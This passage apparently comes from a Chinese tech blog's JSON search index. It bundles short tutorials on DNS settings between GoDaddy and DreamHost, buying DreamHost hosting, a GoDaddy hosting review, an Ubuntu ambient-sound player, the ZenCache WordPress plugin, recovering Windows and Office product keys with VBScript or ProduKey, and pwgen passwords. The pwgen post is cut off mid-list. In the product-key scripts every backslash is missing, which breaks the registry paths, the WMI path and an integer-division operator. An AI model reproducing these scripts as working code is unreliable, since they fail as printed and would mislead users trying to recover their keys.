的管理介面，選擇「Manage Domains」，選擇要設定 DNS 的 Domain，點選「DNS」連結。\nStep 2\n開啟「DNS」設定頁面之後，在頁面的最下方會有一些 Non-editable DreamHost DNS records，將這裡所有的 A 紀錄轉移到自己的 DNS 伺服器（如 GoDaddy）上即可。\nStep 3\n開啟 GoDaddy 的 DNS zone file 設定，把剛剛查到的 A 記錄加進來，當然加入新的紀錄時記得先看一下是不是跟既有的紀錄有衝突，如果有衝突就要把舊的刪除（或是自行調整一下）。\nStep 4\n新增完所有的 A 紀錄之後，就可以打開瀏覽器測試新的網站了。\n","permalink":"https://blog.gtwang.org/web-hosting/godaddy-dns-setting-with-dreamhost-web-hosting/","summary":"\u003cp\u003e這裡介紹購買完 DreamHost 網頁主機空間之後，該如何設定 GoDaddy 的 DNS 讓網站正常運作。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e如果您在購買 DreamHost 的主機空間之後，不想用它的 DNS 伺服器（例如使用 GoDaddy 的 DNS 伺服器），那就要做一些設定才能讓網站正常連線，由於我的習慣是都用 GoDaddy 的 DNS 伺服器，所以這裡用 GoDaddy 做示範，基本上用哪一家的 DNS 都大同小異，以下是設定的步驟。\u003c/p\u003e","title":"設定 GoDaddy DNS 伺服器，配合 DreamHost 的網頁主機空間"},{"content":"這裡介紹如何使用信用卡來購買 DreamHost 這家的網頁主機空間，架設自己的網站。\n最近因為不是很滿意 GoDaddy 主機空間，所以想說改用 DreamHost 看看會不會比較好一些。\nDreamHost 這家網頁主機空間在 2015 年被 PC Magazine 評選為最佳的主機空間（editors’ choice），而且在 WordPress.org 官方網站上所推薦的主機空間中也有包含 Dreamhost。\nDreamHost 所提供的 Shared Hosting 方案只有一種，每月 $9.95 美金（一年期），儲存空間、流量、網站數、電子郵件信箱都完全無限制，並且贈送一個網域名稱（.com、.net、.org 或 .info），另外硬碟也全面改用 SSD，目前的特價方案是第一年打五折，每個月只要 $4.95 美金，看起來很划算，所以我就想說來把部落格搬過來這家測試看看。\n以下是使用信用卡購買 DreamHost 空間的步驟教學。\nStep 1\n在 DreamHost 第一次購買主機空間時，要先建立新的帳號，帳號名稱就是自己的電子郵件信箱，密碼自己設定。\nStep 2\n接著設定網域名稱，也就是網站的網址，DreamHost 可以讓你免費註冊一個全新的網域名稱（.com、.net、.org 或 .info），或是使用自己過去已經註冊好的網域名稱。\nStep 3\n選擇付費方案，這裡有分為月繳、年繳，或是兩年繳的方案，因為年繳的目前特價，所以選擇一年期的這個。\nStep 4\n填入個人基本資料。\nStep 5\n填入信用卡資訊。\nStep 6\n將同意使用條款的選項打勾，然後按下「Complete Signup」，就可以完成註冊，並且付款。\nStep 7\n付款完成之後，會出現訂購單的資訊，按下「Continue to Your Web Panel」按鈕即可前往主機空間的管理頁面。\nStep 8\n這就是主機空間的管理介面，網頁的資料上傳則是靠一般的 FTP。\n接下來，我們就可以在 DreamHost 網頁主機空間新增網站與 FTP 帳號，上傳自己的資料來架設網站了。\n","permalink":"https://blog.gtwang.org/web-hosting/buying-dreamhost-web-hosting-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用信用卡來購買 \u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 這家的網頁主機空間，架設自己的網站。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近因為\u003ca href=\"/web-hosting/godaddy-economy-experience/\"\u003e不是很滿意 GoDaddy 主機空間\u003c/a\u003e，所以想說改用 \u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 看看會不會比較好一些。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.dreamhost.com/\"\u003eDreamHost\u003c/a\u003e 這家網頁主機空間在 2015 年被 \u003ca href=\"https://www.pcmag.com/article2/0,2817,2423650,00.asp\"\u003ePC Magazine\u003c/a\u003e 評選為最佳的主機空間（editors’ choice），而且在 \u003ca href=\"https://wordpress.org/hosting/\"\u003eWordPress.org 官方網站\u003c/a\u003e上所推薦的主機空間中也有包含 Dreamhost。\u003c/p\u003e","title":"購買 DreamHost 網頁主機空間教學"},{"content":"這裡稍微分享一下我個人使用 GoDaddy 網頁主機空間的經驗，別看它很便宜就直接買下去。\n最近因為要將部落格從 Blogger 平台搬出來，自己用 WordPress 架設網站，需要找一個主機空間來使用，一開始看到 GoDaddy 的 Economy 方案大特價，第一年每月只要台幣 39 塊，對於個小網站來說真是太划算了，而且我的網站域名也是在 GoDaddy 上面買的，網站空間與 DNS 一起管理也比較方便，結果使用過之後才知道沒那麼理想，以下是我使用上的一些狀況分享。\n價格 網頁主機空間的一個重點就是價格，雖然部落格的廣告收益來支付網頁空間的費用是綽綽有餘，但是大家都會希望找一個比較划算又長久穩定的方案來使用。\nGoDaddy 的 Economy 方案長期都在大特價，它的價格應該是所有主機空間中非常便宜的，但是其中卻暗藏玄機。\nGoDaddy 的 Economy 方案雖然現在一個月只要台幣 39 元，它只有第一次購買時有這樣的折扣，請注意看他的原價，竟然是要台幣 209 元，它上面也有用很小的字標明未來續用（renew）的費用就是按照這個價格，除非你的網站只用一年就關了，否則一年之後每個月就要付台幣 209 元，這個價格如果改用其他家網頁主機空間，都差不多可以買到不限空間、流量與網站數的方案了（如 Hostagor 的 Baby Plan）。\n這是我在使用 Economy 方案一段時間之後，準備續用的畫面，你可以發現不管續用多久（從一個月到五年），每個月的價格都是台幣 209 塊。\n老實說我看到這個就不會想繼續用了。\ncPanel GoDaddy 所提供的 cPanel 管理介面我是感覺還不錯，我要的功能都有，我用的還算滿意。\n伺服器效能 伺服器的效能是我個人比較重視的，GoDaddy 保證提供 99.9% 以上的 uptime，我實際用的結果還真的只有 99.9%，這個比例我個人感覺其實有點低，我測了兩個禮拜，中間就斷線 4 次，總共 6 分鐘，所以我不甚滿意。\n至於反應時間（response time），我看了網路上的一些測試報告，GoDaddy 似乎都比其他家來得高一些。（我這裡的反應時間會有高有低是因為 WordPress 的快取所造成的，跟主機空間無關）\n總結 由於我個人考慮主機空間的重點是效能與長期的價格，剛好 GoDaddy 都不符合我的需求，所以我後來使用了一陣子，就決定不用 GoDaddy 的空間了。\n當然如果您只是需要短期的測試空間，GoDaddy Economy 方案真的是很划算，而且還有送免費的域名（domain name），但是如果要長期使用，價格是高了一些，效能也不是很好。\n","permalink":"https://blog.gtwang.org/web-hosting/godaddy-economy-experience/","summary":"\u003cp\u003e這裡稍微分享一下我個人使用 GoDaddy 網頁主機空間的經驗，別看它很便宜就直接買下去。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e最近因為要將部落格從 Blogger 平台搬出來，自己用 WordPress 架設網站，需要找一個主機空間來使用，一開始看到 GoDaddy 的 Economy 方案大特價，第一年每月只要台幣 39 塊，對於個小網站來說真是太划算了，而且我的網站域名也是在 GoDaddy 上面買的，網站空間與 DNS 一起管理也比較方便，結果使用過之後才知道沒那麼理想，以下是我使用上的一些狀況分享。\u003c/p\u003e","title":"GoDaddy 網頁主機空間個人使用經驗分享"},{"content":"Ambient Noise Player 是一個適用於 Ubuntu Linux 的環境音效，有助於放鬆心情，提升工作的專注力。\n適當的環境聲音對於放鬆心情、提升專注力都有一定的幫助，先前我們介紹過 Coffitivity 與 Defonic 這兩個線上音效播放服務，而 Google Play 與 Apple App Store 也都有很多這類的 App 可以使用，而現在 Ubuntu Linux 中也出現類似的工具，讓您可以很方便的播放環境音效。\nAmbient Noise Player 是專門設計給 Ubuntu Linux 使用的環境音效播放軟體，它整合了 Ubuntu 桌面的系統工具列，讓使用者非常方便。\n以下是 Ambient Noise Player 的安裝與使用方式。\nStep 1\n在新增官方的 apt repository 之後，就可以直接透過 apt 安裝Ambient Noise Player：\nsudo add-apt-repository ppa:costales/anoise sudo apt-get update sudo apt-get install anoise Step 2\n第一次使用 Ambient Noise Player 之前，要先從主選單中手動啟動 ANoise，將其加入系統聲音選單中，這個動作只有第一次使用時需要做。\nStep 3\n打開系統聲音選單，就可以看到 Ambient Noise Player 的播放板面了，這裡可以點選上一首或下一首來選擇不同的音效，預設有八種不同的音效，包含咖啡廳（Coffee Shop）、營火（Fire）、森林（Forest）、夜晚（Night）、雨聲（Rain）、大海（Sea）、雷雨聲（Storm）與風聲（Wind）。\n如果您是使用 GNOME Shell 作為桌面環境的話，可以使用 Media player indicator 這個擴充功能，另外如果系統選單沒有出現的話，也可以改用它的 GUI：\nsudo apt-get install anoise-gui 雖然 Ambient Noise Player 已經有內建許多音效了，但是聽久了難免會聽膩的，這時候就可以安裝一下社群所提供的音效：\nsudo apt-get install anoise-community-extension1 或是自己上網抓一些音效檔（ogg、mp3 或 wav 檔）放進 ~/Anoise 目錄中，音效檔的檔名若有空白字元的話，請將空白字元替換為下底線（例如 Coffee Shop.ogg 改為 coffee_shop.ogg），另外如果想要有圖示的話，就將自己的 png 圖示檔案一起放進來，並修改圖示檔的檔名使其與音效檔的檔名一致（例如 coffee_shop.png）。\n參考資料 OMG Ubuntu ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-ambient-noise-player/","summary":"\u003cp\u003eAmbient Noise Player 是一個適用於 Ubuntu Linux 的環境音效，有助於放鬆心情，提升工作的專注力。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e適當的環境聲音對於放鬆心情、提升專注力都有一定的幫助，先前我們介紹過 \u003ca href=\"/funny/coffitivity/\"\u003eCoffitivity\u003c/a\u003e 與 \u003ca href=\"/useful-tools/defonic/\"\u003eDefonic\u003c/a\u003e 這兩個線上音效播放服務，而 Google Play 與 Apple App Store 也都有很多這類的 App 可以使用，而現在 Ubuntu Linux 中也出現類似的工具，讓您可以很方便的播放環境音效。\u003c/p\u003e","title":"Ambient Noise Player：Ubuntu Linux 播放環境音效，放鬆心情"},{"content":"ZenCache 是一個 WordPress 的快取 plugin，它可以讓網站頁面的載入速度大幅提升，改善使用者經驗。\n網站的效能與使用者體驗息息相關，許多大網站對於網站效能進行了一些測試後，都發現網站的載入速度會直接影響網站流量與產品的銷售：\n+500ms = 流失 20% 網站流量（Google） +400ms = 流失 5~9% 完整網頁流量（Yahoo） +100ms = 流失 1% 產品銷售（Amazon） 不管網站規模大小，只要載入速度太慢，網站的流量一定就會下降，而網站的流量通常也跟收益成正比，也就是說流失 20% 網站流量就等同於損失了 20% 的實質收益，因此如何讓網站達到最佳的效能是一個很重要的問題。\n對於使用 WordPress 自行架站的管理者而言，可以透過安裝快取（cache）plugin 的方式來加速網站的載入速度，它的原理是將 PHP 執行的結果預先儲存起來，當有新的訪客來到時，就直接送出靜態的資料，不需要每次都執行 PHP 來產生動態的內容，節省執行 PHP 程式與 MySQL 資料庫的查詢時間，而且更可以大幅減低伺服器的負載量。\n在 WordPress 的官方網站上可以找到很多 cache 相關的 plugin，我之前用過 W3 Total Cache 與 WP Super Cache，雖然功能都很強大，但是這兩個 plugins 偶爾都會產生錯誤的網頁內容，所以目前改用 ZenCache，目前感覺還不錯，在這裡跟大家分享一下測試結果。\n名稱：ZenCache\n網址：https://wordpress.org/plugins/zencache/\n安裝與使用 以下是安裝與使用的步驟。\nStep 1\nZenCache 的安裝方式就跟一般的 WordPress plugin 一樣，在 WordPress 的後台直接搜尋 ZenCache，然後安裝即可。安裝好之後，從側邊的選單中開啟 ZenCache 的設定頁面。\nStep 2\n一開始安裝好 ZenCache 時，預設是沒有啟用的狀態，這裡要在 Enable/Disable 中點選「Yes, enable ZenCache」。\nStep 3\n接著設定一下快取檔案的期限，也就是你希望快取的資料隔多久要更新一次，預設是 7 天，如果你的網站不常變動，就可以設長一點，如網站的內容時常在修改，那就要設短一點。如果不知道怎麼設，直接用預設值也可以。\nStep 4\n調整完設定後，記得按下最下方的「Save All Changes」儲存所有的設定值，這樣就完成了。之後 ZenCache 會自動處理快取的所有問題，網站管理員完全可以不用煩惱它，如果要確認快取是否有在運作，可以打開網站上任何一個網頁的原始程式碼，在預設的狀況下，ZenCache 在產生靜態網頁時會在原始碼的最後面加上一小段註解：\n只要有看到這樣的註解就表示 ZenCache 有在正常運作，而註解中也會標示這張快取網頁的路徑、產生時間與到期時間，快取網頁過期之後，ZenCache 就會自動更新快取的內容，所以只要確認有看到這樣的註解，其餘的工作 ZenCache 都會自己處理。\n由於 ZenCache 預設不會對於含有查詢（query）參數的網頁進行快取，也就是說您在登入 WordPress 之後所看到的網頁一定都是動態的，如果要檢查 ZenCache 的註解，請另外開一個沒有登入 WordPress 的瀏覽器，或是開啟瀏覽器的無痕模式來檢查。\n伺服器反應時間 正常來說，啟用 ZenCache 之後伺服器的反應時間（response time）就會大幅下降，這是我的 WordPress 部落格實際測試的結果。\n最左邊伺服器反應時間比較低的那段期間，我是使用 W3 Total Cache，而後來發現這個 plugin 快取的網頁會有問題（偶爾會出現空白網頁），所以就把它移除了，所以中間有一段時間是完全沒有啟用快取的狀態，伺服器反應時間明顯高出非常多，經過幾天之後，我又改用 ZenCache 這個 plugin，在啟用之後伺服器反應時間又降下來了，從這個數據就可以看出快取的重要性。\n參考資料 YSlow 2.0 Presentation ","permalink":"https://blog.gtwang.org/wordpress/zencache-wordpress-cache-plugin/","summary":"\u003cp\u003eZenCache 是一個 WordPress 的快取 plugin，它可以讓網站頁面的載入速度大幅提升，改善使用者經驗。\u003c/p\u003e\n\u003cp\u003e網站的效能與使用者體驗息息相關，許多大網站對於網站效能進行了一些測試後，都發現網站的載入速度會直接影響網站流量與產品的銷售：\u003c/p\u003e","title":"ZenCache：加速 WordPress 網站載入速度的快取 Plugin"},{"content":"這裡介紹如何從電腦中找出 Windows 或 Office 的產品金鑰，讓重灌電腦時不必煩惱找不到序號。\nWindows 用久了難免需要重灌，而安裝 Windows 與 Office 時都會需要輸入產品序號，但是如果序號不見了，就很令人頭痛了。\n雖然我們可以用登錄編輯程式（regedit.exe）來從登錄檔找出產品序號（路徑為 HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsNTCurrent VersionDigitalProductId）：\n不過因為在登錄檔中所儲存的序號都是二進位的形式，不容易看出真正的序號，以下介紹幾種可以解讀序號的方式。\n使用 VBScript 讀取 Windows 序號 我們可以用 VBScript 撰寫一個讀取序號的指令稿，這樣的方式完全不需要下載與安裝任何軟體。將下面這段程式碼複製起來，儲存成一個 .vbs 檔（如 getkey.vbs）：\nSet WshShell = CreateObject(\u0026#34;WScript.Shell\u0026#34;) MsgBox ConvertToKey(WshShell.RegRead(\u0026#34;HKLMSOFTWAREMicrosoftWindows NTCurrentVersionDigitalProductId\u0026#34;)) Function ConvertToKey(Key) Const KeyOffset = 52 i = 28 Chars = \u0026#34;BCDFGHJKMPQRTVWXY2346789\u0026#34; Do Cur = 0 x = 14 Do Cur = Cur * 256 Cur = Key(x + KeyOffset) + Cur Key(x + KeyOffset) = (Cur 24) And 255 Cur = Cur Mod 24 x = x -1 Loop While x \u0026gt;= 0 i = i -1 KeyOutput = Mid(Chars, Cur + 1, 1) \u0026amp; KeyOutput If (((29 - i) Mod 6) = 0) And (i \u0026lt;\u0026gt; -1) Then i = i -1 KeyOutput = \u0026#34;-\u0026#34; \u0026amp; KeyOutput End If Loop While i \u0026gt;= 0 ConvertToKey = KeyOutput End Function 建議將這個 getkey.vbs 檔案儲存在桌面上，然後用滑鼠點兩下執行，就會出現自己 Windows 的序號了。\n在這個顯示序號的視窗上按下 Ctrl + c 就可以直接複製這組序號。\n使用 VBScript 讀取 Office 序號 這是適用於 Windows 7、Windows 10 與 Office 2010 – 2013 的指令稿：\nConst HKLM = \u0026amp;H80000002 wscript.echo \u0026#34;View Product Keys | Microsoft Products\u0026#34; \u0026amp; vbCrLf \u0026#39;Install Date Computer = \u0026#34;.\u0026#34; Set objWMIService = GetObject(\u0026#34;winmgmts:\u0026#34; \u0026amp; Computer \u0026amp; \u0026#34;rootcimv2\u0026#34;) Set Obj = objWMIService.ExecQuery (\u0026#34;Select * from Win32_OperatingSystem\u0026#34;) dim InsDate For Each item in Obj InsDate = item.InstallDate \u0026#39; Gather Operating System Information Caption = Item.Caption OSArchitecture = Item.OSArchitecture CSDVersion = Item.CSDVersion Version = Item.Version Next dim NewDate NewDate = mid(InsDate,9,2) \u0026amp; \u0026#34;:\u0026#34; \u0026amp; mid(InsDate,11,2) \u0026amp; \u0026#34;:\u0026#34; \u0026amp; mid(InsDate,13,2) NewDate = NewDate \u0026amp; \u0026#34; \u0026#34; \u0026amp; mid(InsDate,7,2) \u0026amp; \u0026#34;/\u0026#34; \u0026amp; mid(InsDate,5,2) \u0026amp; \u0026#34;/\u0026#34; \u0026amp; mid(InsDate,1,4) QueryWindowsProductKeys() wscript.echo \u0026#39;vbCrLf \u0026amp; \u0026#34;Office Keys\u0026#34; \u0026amp; vbCrLf QueryOfficeProductKeys() Function DecodeProductKey(arrKey, intKeyOffset) If Not IsArray(arrKey) Then Exit Function intIsWin8 = BitShiftRight(arrKey(intKeyOffset + 14),3) And 1 arrKey(intKeyOffset + 14) = arrKey(intKeyOffset + 14) And 247 Or BitShiftLeft(intIsWin8 And 2,2) i = 24 strChars = \u0026#34;BCDFGHJKMPQRTVWXY2346789\u0026#34; strKeyOutput = \u0026#34;\u0026#34; While i \u0026gt; -1 intCur = 0 intX = 14 While intX \u0026gt; -1 intCur = BitShiftLeft(intCur,8) intCur = arrKey(intX + intKeyOffset) + intCur arrKey(intX + intKeyOffset) = Int(intCur / 24) intCur = intCur Mod 24 intX = intX - 1 Wend i = i - 1 strKeyOutput = Mid(strChars,intCur + 1,1) \u0026amp; strKeyOutput intLast = intCur Wend If intIsWin8 = 1 Then strKeyOutput = Mid(strKeyOutput,2,intLast) \u0026amp; \u0026#34;N\u0026#34; \u0026amp; Right(strKeyOutput,Len(strKeyOutput) - (intLast + 1)) End If strKeyGUIDOutput = Mid(strKeyOutput,1,5) \u0026amp; \u0026#34;-\u0026#34; \u0026amp; Mid(strKeyOutput,6,5) \u0026amp; \u0026#34;-\u0026#34; \u0026amp; Mid(strKeyOutput,11,5) \u0026amp; \u0026#34;-\u0026#34; \u0026amp; Mid(strKeyOutput,16,5) \u0026amp; \u0026#34;-\u0026#34; \u0026amp; Mid(strKeyOutput,21,5) DecodeProductKey = strKeyGUIDOutput End Function Function RegReadBinary(strRegPath,strRegValue) Set objReg = GetObject(\u0026#34;winmgmts:{impersonationLevel=impersonate}!.rootdefault:StdRegProv\u0026#34;) objReg.GetBinaryValue HKLM,strRegPath,strRegValue,arrRegBinaryData RegReadBinary = arrRegBinaryData Set objReg = Nothing End Function Function BitShiftLeft(intValue,intShift) BitShiftLeft = intValue * 2 ^ intShift End Function Function BitShiftRight(intValue,intShift) BitShiftRight = Int(intValue / (2 ^ intShift)) End Function Function QueryOfficeProductKeys() strBaseKey = \u0026#34;SOFTWARE\u0026#34; strOfficeKey = strBaseKey \u0026amp; \u0026#34;MicrosoftOffice\u0026#34; Set objReg = GetObject(\u0026#34;winmgmts:{impersonationLevel=impersonate}!.rootdefault:StdRegProv\u0026#34;) objReg.EnumKey HKLM, strOfficeKey, arrOfficeVersionSubKeys intProductCount = 1 If IsArray(arrOfficeVersionSubKeys) Then For Each strOfficeVersionKey In arrOfficeVersionSubKeys Select Case strOfficeVersionKey Case \u0026#34;11.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;11.0Registration\u0026#34;,52,intProductCount Case \u0026#34;12.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;12.0Registration\u0026#34;,52,intProductCount Case \u0026#34;14.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;14.0Registration\u0026#34;,808,intProductCount Case \u0026#34;15.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;15.0Registration\u0026#34;,808,intProductCount End Select Next End If strBaseKey = \u0026#34;SOFTWAREWow6432Node\u0026#34; strOfficeKey = strBaseKey \u0026amp; \u0026#34;MicrosoftOffice\u0026#34; Set objReg = GetObject(\u0026#34;winmgmts:{impersonationLevel=impersonate}!.rootdefault:StdRegProv\u0026#34;) objReg.EnumKey HKLM, strOfficeKey, arrOfficeVersionSubKeys intProductCount = 1 If IsArray(arrOfficeVersionSubKeys) Then For Each strOfficeVersionKey In arrOfficeVersionSubKeys Select Case strOfficeVersionKey Case \u0026#34;11.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;11.0Registration\u0026#34;,52,intProductCount Case \u0026#34;12.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;12.0Registration\u0026#34;,52,intProductCount Case \u0026#34;14.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;14.0Registration\u0026#34;,808,intProductCount Case \u0026#34;15.0\u0026#34; CheckOfficeKey strOfficeKey \u0026amp; \u0026#34;15.0Registration\u0026#34;,808,intProductCount End Select Next End If End Function \u0026#39;Office Product Key Sub CheckOfficeKey(strRegPath,intKeyOffset,intProductCount) Set objReg = GetObject(\u0026#34;winmgmts:{impersonationLevel=impersonate}!.rootdefault:StdRegProv\u0026#34;) objReg.EnumKey HKLM, strRegPath, arrOfficeRegistrations If IsArray(arrOfficeRegistrations) Then For Each strOfficeRegistration In arrOfficeRegistrations objReg.GetStringValue HKLM,strRegPath \u0026amp; \u0026#34;\u0026#34; \u0026amp; strOfficeRegistration,\u0026#34;ConvertToEdition\u0026#34;,strOfficeEdition objReg.GetBinaryValue HKLM,strRegPath \u0026amp; \u0026#34;\u0026#34; \u0026amp; strOfficeRegistration,\u0026#34;DigitalProductID\u0026#34;,arrProductID If strOfficeEdition \u0026lt;\u0026gt; \u0026#34;\u0026#34; And IsArray(arrProductID) Then WriteData \u0026#34;Product\u0026#34;, strOfficeEdition WriteData \u0026#34;Key\u0026#34;, DecodeProductKey(arrProductID,intKeyOffset) \u0026amp; vbCrLf intProductCount = intProductCount + 1 End If Next End If End Sub \u0026#39;Windows Product Key Sub QueryWindowsProductKeys() strWinKey = CheckWindowsKey(\u0026#34;SOFTWAREMicrosoftWindows NTCurrentVersion\u0026#34;,\u0026#34;DigitalProductId\u0026#34;,52) If strWinKey \u0026lt;\u0026gt; \u0026#34;\u0026#34; Then wscript.echo \u0026#34;Product: \u0026#34; \u0026amp; Caption \u0026amp; Version \u0026amp; \u0026#34; (\u0026#34; \u0026amp; OSArchitecture \u0026amp; \u0026#34;)\u0026#34; wscript.echo \u0026#34;Installation Date: \u0026#34; \u0026amp; NewDate WriteData \u0026#34;Key\u0026#34;, strWinKey Exit Sub End If strWinKey = CheckWindowsKey(\u0026#34;SOFTWAREMicrosoftWindows NTCurrentVersion\u0026#34;,\u0026#34;DigitalProductId4\u0026#34;,808) If strWinKey \u0026lt;\u0026gt; \u0026#34;\u0026#34; Then wscript.echo \u0026#34;Product: \u0026#34; \u0026amp; Caption \u0026amp; Version \u0026amp; \u0026#34; (\u0026#34; \u0026amp; OSArchitecture \u0026amp; \u0026#34;)\u0026#34; wscript.echo \u0026#34;Installation Date: \u0026#34; \u0026amp; NewDate WriteData \u0026#34;Key\u0026#34;, strWinKey Exit Sub End If strWinKey = CheckWindowsKey(\u0026#34;SOFTWAREMicrosoftWindows NTCurrentVersionDefaultProductKey\u0026#34;,\u0026#34;DigitalProductId\u0026#34;,52) If strWinKey \u0026lt;\u0026gt; \u0026#34;\u0026#34; Then wscript.echo \u0026#34;Product: \u0026#34; \u0026amp; Caption \u0026amp; Version \u0026amp; \u0026#34; (\u0026#34; \u0026amp; OSArchitecture \u0026amp; \u0026#34;)\u0026#34; wscript.echo \u0026#34;Installation Date: \u0026#34; \u0026amp; NewDate WriteData \u0026#34;Key\u0026#34;, strWinKey Exit Sub End If strWinKey = CheckWindowsKey(\u0026#34;SOFTWAREMicrosoftWindows NTCurrentVersionDefaultProductKey\u0026#34;,\u0026#34;DigitalProductId4\u0026#34;,808) If strWinKey \u0026lt;\u0026gt; \u0026#34;\u0026#34; Then wscript.echo \u0026#34;Product: \u0026#34; \u0026amp; Caption \u0026amp; Version \u0026amp; \u0026#34; (\u0026#34; \u0026amp; OSArchitecture \u0026amp; \u0026#34;)\u0026#34; wscript.echo \u0026#34;Installation Date: \u0026#34; \u0026amp; NewDate WriteData \u0026#34;Key\u0026#34;, strWinKey Exit Sub End If End Sub Function CheckWindowsKey(strRegPath,strRegValue,intKeyOffset) strWinKey = DecodeProductKey(RegReadBinary(strRegPath,strRegValue),intKeyOffset) If strWinKey \u0026lt;\u0026gt; \u0026#34;BBBBB-BBBBB-BBBBB-BBBBB-BBBBB\u0026#34; And strWinKey \u0026lt;\u0026gt; \u0026#34;\u0026#34; Then CheckWindowsKey = strWinKey Else CheckWindowsKey = \u0026#34;\u0026#34; End If End Function Function RegReadBinary(strRegPath,strRegValue) Set objReg = GetObject(\u0026#34;winmgmts:{impersonationLevel=impersonate}!.rootdefault:StdRegProv\u0026#34;) objReg.GetBinaryValue HKLM,strRegPath,strRegValue,arrRegBinaryData RegReadBinary = arrRegBinaryData Set objReg = Nothing End Function Function OsArch() Set objShell = WScript.CreateObject(\u0026#34;WScript.Shell\u0026#34;) If objShell.ExpandEnvironmentStrings(\u0026#34;%ProgramFiles(x86)%\u0026#34;) = \u0026#34;%ProgramFiles(x86)%\u0026#34; Then OsArch = \u0026#34;x86\u0026#34; Else OsArch = \u0026#34;x64\u0026#34; End If Set objShell = Nothing End Function Sub WriteData(strProperty,strValue) WScript.Echo strProperty \u0026amp; \u0026#34;: \u0026#34; \u0026amp; Trim(strValue) \u0026#39;Set objShell = CreateObject(\u0026#34;WScript.Shell\u0026#34;) \u0026#39;strKey = \u0026#34;HKLMSOFTWARECentraStageCustom\u0026#34; \u0026amp; strProperty \u0026#39;objShell.RegWrite strKey,Trim(strValue),\u0026#34;REG_SZ\u0026#34; \u0026#39;Set objShell = Nothing End Sub ProduKey NirSoft 所提供的 ProduKey 是一個很好用的免費小工具，它可以將系統中的 Windows 與 Office 序號一次都抓取出來，非常方便，不過缺點是有些防毒軟體會將這個工具判斷為惡意程式，因為它會竊取您的序號。\n名稱：ProduKey\n網址：www.nirsoft.net\n從 NirSoft 網站上將 ProduKey 的壓縮檔下載回來，解壓縮之後直接就可以使用，不需要安裝。\nProduKey 除了可以取得目前系統的序號之外，也可以從其他的資料來源中尋找序號。\n這個工具也非常實用，假設我們的 Windows 系統出了問題，無法正常開機的時候，我們就可以直接把硬碟拔下來，插在另外一台正常的電腦上，用這個工具將出問題系統的序號取出來。\n參考資料 HTG ","permalink":"https://blog.gtwang.org/windows/how-to-find-your-lost-windows-or-office-product-keys/","summary":"\u003cp\u003e這裡介紹如何從電腦中找出 Windows 或 Office 的產品金鑰，讓重灌電腦時不必煩惱找不到序號。\u003c/p\u003e\n\u003cp\u003eWindows 用久了難免需要重灌，而安裝 Windows 與 Office 時都會需要輸入產品序號，但是如果序號不見了，就很令人頭痛了。\u003c/p\u003e","title":"如何從電腦中找出 Windows 或 Office 的產品金鑰"},{"content":"這裡介紹如何在 Linux 中產生亂數的密碼，讓你的密碼更安全，不容易被破解。\n對於 Linux 管理者而言，很多情況下都會需要使用到亂數的密碼，例如新增 Linux 系統的使用者帳號時，你會需要為每一個新的帳號設定一組預設的密碼，在安全性的考量上，這個預設密碼也不能太簡單，最好的方式就是使用亂數產生的密碼，確保每個帳號在使用者拿到帳號資訊之前，不會被駭。\n另外系統上的一般使用者忘記密碼也是時常會發生的事，而管理者在這種時候就會需要為使用者重設密碼，這時候也會需要亂數的密碼，以確保系統與帳號的安全。\n以下我們介紹幾個 Linux 中可以用來產生亂數密碼的指令，以及一些使用範例。\npwgen 指令 pwgen 是一個可以產生亂數密碼的小工具，在 Ubuntu/Debian Linux 中可以用 apt 安裝：\nsudo apt-get install pwgen 安裝完成後，執行它就會產生亂數的密碼：\npwgen 預設會產生 160 組長度為 8 的亂數密碼：\neoLe3Aht EeCh5ooj phooVai5 queY3Euw Aichoo5e Al7mae1o aeLooj7o ahweC5ie ohX3IK8a eiH7Wohg veiS0Iu3 Aiv7ilee if3Eetee thae3Boo haeTh9ao ahD8uiG7 oxoo9oV3 Oozei6wi phoo7ouM Wiel0ohb Tae6ar0o Da6quie3 eeKoh2Ee eo4Ohc5U ivie0Uc8 BohPhah4 rohtieM9 ko0aiZe2 jaeC4dai ej6Quiel ailoh2Ne oa8ooQuo es9Aitai 